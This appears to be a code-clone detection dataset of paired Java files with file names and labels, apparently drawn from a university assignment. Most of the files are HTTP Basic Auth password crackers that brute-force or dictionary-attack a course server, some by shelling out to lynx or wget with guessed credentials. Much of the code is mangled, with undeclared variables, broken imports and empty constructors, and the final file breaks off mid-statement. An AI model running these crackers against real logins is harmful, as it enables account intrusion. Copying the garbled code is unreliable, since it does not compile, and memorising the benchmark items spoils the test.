import java.io.*; import java.net.*; public class BruteForce { public static void main(String[] args) { BruteForce brute=new BruteForce(); brute.start(); } public void start() { char passwd[]= new char[3]; String password; String username=""; String auth_data; String server_res_code; String required_server_res_code="200"; int cntr=0; try { URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); URLConnection conn=null; for (int i=65;i<=122;i++) { if(i==91) { i=i+6; } passwd[0]= (char) i; for (int j=65;j<=122;j++) { if(j==91) { j=j+6; } passwd[1]=(char) j; for (int k=65;k<=122;k++) { if(k==91) { k=k+6; } passwd[2]=(char) k; password=new String(passwd); password=password.trim(); auth_data=null; auth_data=username + ":" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1"); conn.setRequestProperty ("Authorization", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code); if( server_res_code.compareTo(required_server_res_code)==0 ) {System.out.println("PASSWORD IS : " + password + " SERVER RESPONSE : " + server_res_code ); i=j=k=123;} } } } } catch (Exception e) { System.err.print(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = ""; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return " " + encodedString; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
150.java
197.java
0
import java.net.*; import java.io.*; import java.util.Date; public class Dictionary{ private static String password=" "; public static void main(String[] args) { String Result=""; if (args.length<1) { System.out.println("Correct Format Filename username e.g<>"); System.exit(1); } Dictionary dicton1 = new Dictionary(); Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result); } private String Dict(String urlString,String username) { int cnt=0; FileInputStream stream=null; DataInputStream word=null; try{ stream = new FileInputStream ("/usr/share/lib/dict/words"); word =new DataInputStream(stream); t0 = System.currentTimeMillis(); while (word.available() !=0) { password=word.readLine(); if (password.length()!=3) { continue; } System.out.print("crackin...:"); System.out.print("\b\b\b\b\b\b\b\b\b\b\b" ); URL url = new URL (urlString); String userPassword=username+":"+password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); URLConnection conc = url.openConnection(); conc.setRequestProperty ("Authorization", " " + encoding); conc.connect(); cnt++; if (conc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("The Number Of Attempts : "+cnt); t1 = System.currentTimeMillis(); net=t1-t0; System.out.println("Total Time in secs..."+net/1000); return password; } } } catch (Exception e ) { e.printStackTrace(); } try { word.close(); stream.close(); } catch (IOException e) { System.out.println("Error in closing input file:\n" + e.toString()); } return "Password could not found"; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
194.java
197.java
0
import java.io.*; import java.util.*; class BruteForce{ public static void main(String args[]){ String pass,s; char a,b,c; int z=0; int attempt=0; Process p; char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q', 'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h', 'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'}; z = System.currentTimeMillis(); int at=0; for(int i=0;i<password.length;i++){ for(int j=0;j<password.length;j++){ for(int k=0;k<password.length;k++){ pass=String.valueOf(password[i])+String.valueOf(password[j])+String.valueOf(password[k]); try { System.out.println("Trying crack using: "+pass); at++; p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"); try{ p.waitFor(); } catch(Exception q){} z = p.exitValue(); if(z==0) { finish = System.currentTimeMillis(); float time = finish - t; System.out.println("PASSWORD CRACKED:"+ pass + " in " + at + " attempts " ); System.out.println("PASSWORD CRACKED:"+ pass + " in " + time + " milliseconds " ); System.exit(0); } } catch (IOException e) { System.out.println("Exception happened"); e.printStackTrace(); System.exit(-1); } } } } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
082.java
197.java
0
import java.net.*; import java.util.*; import java.io.*; public class BruteForce { URL url; URLConnection uc; String username, password, encoding; int pretime, posttime; String c ; public BruteForce(){ pretime = new Date().getTime(); try{ url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); }catch(MalformedURLException e){ e.printStackTrace(); } username = ""; } public void checkPassword(char[] pw){ try{ password = new String(pw); encoding = new pw.misc.BASE64Encoder().encode((username+":"+password).getBytes()); uc = url.openConnection(); uc.setRequestProperty("Authorization", " " + encoding); bf = uc.getHeaderField(null); System.out.println(password); if(bf.equals("HTTP/1.1 200 OK")){ posttime = new Date().getTime(); diff = posttime - pretime; System.out.println(username+":"+password); System.out.println(); System.out.println(diff/1000/60 + " minutes " + diff/1000%60 + " seconds"); System.exit(0); } }catch(MalformedURLException e){ e.printStackTrace(); }catch(IOException ioe){ ioe.printStackTrace(); } } public static void main (String[] args){ BruteForce bf = new BruteForce(); char i, j, k; for(i='a'; i<='z'; i++){ for(j='a'; j<='z'; j++){ for(k='a'; k<='z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='Z'; i++){ for(j='A'; j<='Z'; j++){ for(k='A'; k<='Z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='Z'; i++){ for(j='a'; j<='z'; j++){ for(k='a'; k<='z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } for(j='A'; j<='Z'; j++){ for(k='a'; k<='z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } for(j='a'; j<='z'; j++){ for(k='A'; k<='Z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='a'; i<='z'; i++){ for(j='A'; j<='Z'; j++){ for(k='A'; k<='Z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } for(j='A'; j<='z'; j++){ if((j=='[') || (j=='\\') || (j==']') || (j=='^') || (j=='_') || (j=='`')){ continue; } char[] pw = {i, j}; bf.checkPassword(pw); } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } char[] pw = {i}; bf.checkPassword(pw); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
176.java
197.java
0
public class ImageFile { private String imageUrl; private int imageSize; public ImageFile(String url, int size) { imageUrl=url; imageSize=size; } public String getImageUrl() { return imageUrl; } public int getImageSize() { return imageSize; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
105.java
197.java
0
import java.io.*; import java.net.*; import java.misc.BASE64Encoder; public class Dictionary { public Dictionary() {} public boolean fetchURL(String urlString,String username,String password) { StringWriter sw= new StringWriter(); PrintWriter pw = new PrintWriter(); try{ URL url=new URL(urlString); String userPwd= username+":"+password; BASE64Encoder encoder = new BASE64Encoder(); String encodedStr = encoder.encode (userPwd.getBytes()); System.out.println("Original String = " + userPwd); System.out.println("Encoded String = " + encodedStr); HttpURLConnection huc=(HttpURLConnection) url.openConnection(); huc.setRequestProperty( "Authorization"," "+encodedStr); InputStream content = (InputStream)huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); System.out.println(""); System.out.println(sw.toString()); }return true; } catch (MalformedURLException e) { pw.println ("Invalid URL"); return false; } catch (IOException e) { pw.println ("Error URL"); return false; } } public void getPassword() { String dictionary="words"; String urlString="http://sec-crack.cs.rmit.edu./SEC/2/"; String login=""; String pwd=" "; try { BufferedReader inputStream=new BufferedReader(new FileReader(dictionary)); startTime=System.currentTimeMillis(); while (pwd!=null) { pwd=inputStream.readLine(); if(this.fetchURL(urlString,login,pwd)) { finishTime=System.currentTimeMillis(); System.out.println("Finally I gotta it, password is : "+pwd); System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds"); System.exit(1); } } inputStream.close(); } catch(FileNotFoundException e) { System.out.println("Dictionary not found."); } catch(IOException e) { System.out.println("Error dictionary"); } } public static void main(String[] arguments) { BruteForce bf=new BruteForce(); bf.getPassword(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
136.java
197.java
0
import java.util.*; import java.io.*; import java.net.*; public class MyWatchDogTimer extends TimerTask { public void run() { Runtime rt = Runtime.getRuntime(); Process prss= null; String initialmd5,presentmd5,finalmd5,temp1; String mesg1 = new String(); String subject = new String("Report of WatchDog"); int i; try { prss = rt.exec("md5sum first.html"); InputStreamReader instre1 = new InputStreamReader(prss.getInputStream()); BufferedReader bufread1 = new BufferedReader(instre1); sw = bufread1.readLine(); i = finalmd5.indexOf(' '); initialmd5 = finalmd5.substring(0,i); System.out.println("this is of first.html--->"+initialmd5); prss = rt.exec("wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/"); prss = rt.exec("md5sum present.html"); InputStreamReader instre2 = new InputStreamReader(prss.getInputStream()); BufferedReader bufread2 = new BufferedReader(instre2); temp1 = bufread2.readLine(); i = temp1.indexOf(' '); presentmd5 = temp1.substring(0,i); System.out.println("this is of present.html---->"+presentmd5); if(initialmd5.equals(presentmd5)) System.out.println("The checksum found using md5sum is same"); else { prss = rt.exec("diff first.html present.html > diff.html"); System.out.println(" is different"); prss = null; mesg1 ="php mail.php"; prss = rt.exec(mesg1); } prss = rt.exec("rm present.*"); }catch(java.io.IOException e){} } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
051.java
197.java
0
import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class Dictionary { String uname = ""; String pword = "null"; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i<v.size(); i++) { pword = (String)v.elementAt(i); String up = uname + ":" + pword; String encoding; try { connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName(".misc.BASE64Encoder").newInstance(); encoding = encoder.encode (up.getBytes()); } catch (Exception ex) { Base64Converter encoder = new Base64Converter(); System.out.println("in catch"); encoding = encoder.encode(up.getBytes()); } connection.setRequestProperty ("Authorization", " " + encoding); connection.connect(); if(connection instanceof HttpURLConnection) { HttpURLConnection httpCon=(HttpURLConnection)connection; if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED) { System.out.println("Not authorized - check for details" + " -Incorrect Password : " + pword); doConnect(i, i+1); } else { System.out.println("\n\n\nPassword for HTTP Secure Site by Dictionary Attack:"); System.out.println( +"\tPassword : "+ pword); runTime = System.currentTimeMillis() - runTime; System.out.println("Time taken crack password (in seconds)"+" : "+ runTime/1000+"\n"+ "Tries taken crack password : "+ i); System.exit(0); } } } } } catch(Exception ex) { ex.printStackTrace(); } } public Vector getPassword() { try { ReadFile rf = new ReadFile(); rf.loadFile(); v = rf.getVector(); } catch(Exception ex) { ex.printStackTrace(); } return v; } public void setTimeTaken( int timetaken) { runTime = timetaken; } public static void main ( String args[] ) throws IOException { runTime1 = System.currentTimeMillis(); Dictionary newDo = new Dictionary(); newDo.setTimeTaken(runTime1); newDo. getPassword(); String site = "http://sec-crack.cs.rmit.edu./SEC/2/"; newDo.doConnect(site, 0); } } class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24=( octetString [ i++ ] & 0xFF ) << 16; bits24 |=( octetString [ i++ ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
062.java
197.java
0
import java.util.*; import java.*; import java.awt.*; import java.net.*; import java.io.*; import java.text.*; public class BruteForce { public static String Base64Encode(String s) { byte[] bb = s.getBytes(); byte[] b = bb; char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', '0','1','2','3','4','5','6','7','8','9','+','/' }; if (bb.length % 3!=0) { int x1 = bb.length; b = new byte[(x1/3+1)*3]; int x2 = b.length; for(int i=0;i<x1;i++) b[i] = bb[i]; for(int i=x1;i<x2;i++) b[i] = 0; } char[] c = new char[b.length/3*4]; int i=0, j=0; while (i+3<=b.length) { c[j] = table[(b[i] >> 2)]; c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)]; c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)]; c[j+3] = table[(b[i+2] & 63)]; i+=3; j+=4; } j = c.length-1; while (c[j]=='A') { c[j]='='; j--; } return String.valueOf(c); } public synchronized void getAccumulatedLocalAttempt() { attempt = 0; for (int i=0;i<MAXTHREAD;i++) { attempt += threads[i].getLocalAttempt(); } } public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) { DecimalFormat fmt = new DecimalFormat(); fmt.applyPattern("0.00"); System.out.println(); System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------"); System.out.println(); System.out.println(" Current connections : "+curconn); System.out.println(" Current progress : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)"); System.out.println(" Overall Attempts rate : "+ovrl+" attempts second (approx.)"); System.out.println(); System.out.println(" ---------------------------------------------------------------------------"); System.out.println(); } public class MyTT extends TimerTask { public synchronized void run() { if (count==REPORT_INTERVAL) { DecimalFormat fmt = new DecimalFormat(); fmt.applyPattern("0.00"); getAccumulatedLocalAttempt(); double p = (double)attempt/(double)ALLCOMBI*100; double aps = (double) (attempt - attm) / REPORT_INTERVAL; attmArr[attmArrIdx++] = aps; printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx); count = 0; } else if (count==0) { getAccumulatedLocalAttempt(); attm = attempt; count++; } else { count++; } } public synchronized double getOverallAttemptPerSec() { double val = 0; for (int i=0;i<attmArrIdx;i++) { val+= attmArr[i]; } return val / attmArrIdx; } private int count = 0; private int attm; private int attmArrIdx = 0; private double[] attmArr = new double[2*60*60/10]; } public synchronized void interruptAll(int ID) { for (int i=0;i<MAXTHREAD;i++) { if ((threads[i].isAlive()) && (i!=ID)) { threads[i].interrupt(); } notifyAll(); } } public synchronized void setSuccess(int ID, String p) { passw = p; success = ID; notifyAll(); interruptAll(ID); end = System.currentTimeMillis(); } public synchronized boolean isSuccess() { return (success>=0); } public synchronized void waitUntilAllTerminated() { while (curconn>0) { try { wait(); } catch (InterruptedException e) {} } } public synchronized int waitUntilOK2Connect() { boolean interruptd= false; int idx = -1; while (curconn>=MAXCONN) { try { wait(); } catch (InterruptedException e) { interruptd = true; } } if 